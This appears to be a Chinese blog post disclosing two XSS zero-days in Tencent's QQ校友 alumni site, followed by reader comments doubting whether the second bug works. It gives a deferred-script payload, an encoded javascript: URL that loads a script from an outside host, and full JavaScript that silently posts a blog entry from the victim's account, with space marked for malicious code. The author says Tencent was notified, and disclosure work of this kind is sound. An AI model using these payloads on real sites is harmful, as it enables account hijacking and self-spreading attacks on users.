QQ校友XSS 0day及利用

作者:孤鸿影

作者已通知腾讯。

漏洞一:

QQ校友 班级共享硬盘 上传文件时对文件描述没有做任何过滤,导致XSS。

QQ校友使用了Ajax技术,来显示文件列表。在文件Msharemsg.js中使用innerHTML输出文件列表的HTML代码。由于使用了innerHTML,所以直接插入代码: <script>alert(‘孤鸿影’)</script>不会被执行。使用下面的格式既可:<script defer>alert(‘孤鸿影’)</script>。加入defer属性,那么浏览器在下载脚本的时候就不会立即对其进行处理,而是继续对页面进行下载和解析。这样我们插入的JavaScript就能正常运行。

漏洞二:

QQ校友在发blog时对插入图片过滤不严格,存在xss漏洞

在发blog时将插入图片URL写为如下代码即可触发:

javascript:document.write('%3C%73%63%72%69%70%74%20%73%72%63%3D%22http://xxxxxx.com/xy.js%22%3E%3C%2F%73%63%72%69%70%74%3E');

xy.js的作用是自动发布一篇日志,这篇日志中可以插入恶意代码,代码如下:

var url="/index.php?mod=blog&act=dopost";

var content="blog_content=By%3A%E5%AD%A4%E9%B8%BF%E5%BD%B1&blog_title=XSS+test&category=%E4%B8%AA%E4%BA%BA%E6%97%A5%E8%AE%B0";   //日志内容,这里可以插入恶意代码

function _sd_Post(Url,  Args)

{

var xmlhttp;

var error;

eval('try {xmlhttp  = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {xmlhttp  = null;error=e;}');

if(null != xmlhttp)

{

xmlhttp.Open("POST",  Url, false);

xmlhttp.setRequestHeader("x-requested-with",  "XMLHttpRequest");

xmlhttp.setRequestHeader("Referer",  "http://xy.qq.com/api_proxy.html");

xmlhttp.setRequestHeader("Accept",  "application/json, text/javascript, */*");

xmlhttp.setRequestHeader("Content-Type",  "application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Host",  "xy.qq.com");

xmlhttp.Send(Args);

strText = xmlhttp.responseText;

}

}

_sd_Post(url,content);

相关日志

楼被抢了 5 层了... 抢座Rss 2.0或者 Trackback

  • test

    已经无效

  • 米稀饭油

    呵呵,前些日子就到处都有了哈~

  • phzzy

    第二个确认有问题么?
    能给一篇有问题的日志看看么?
    好像只在编辑器编辑的时候有问题,发表成功后显示时不会有问题呀

  • pci_wt

    这个第二个漏洞不行吧
    浏览的时候发现是[img]xxxx[/img]原样显示的

发表评论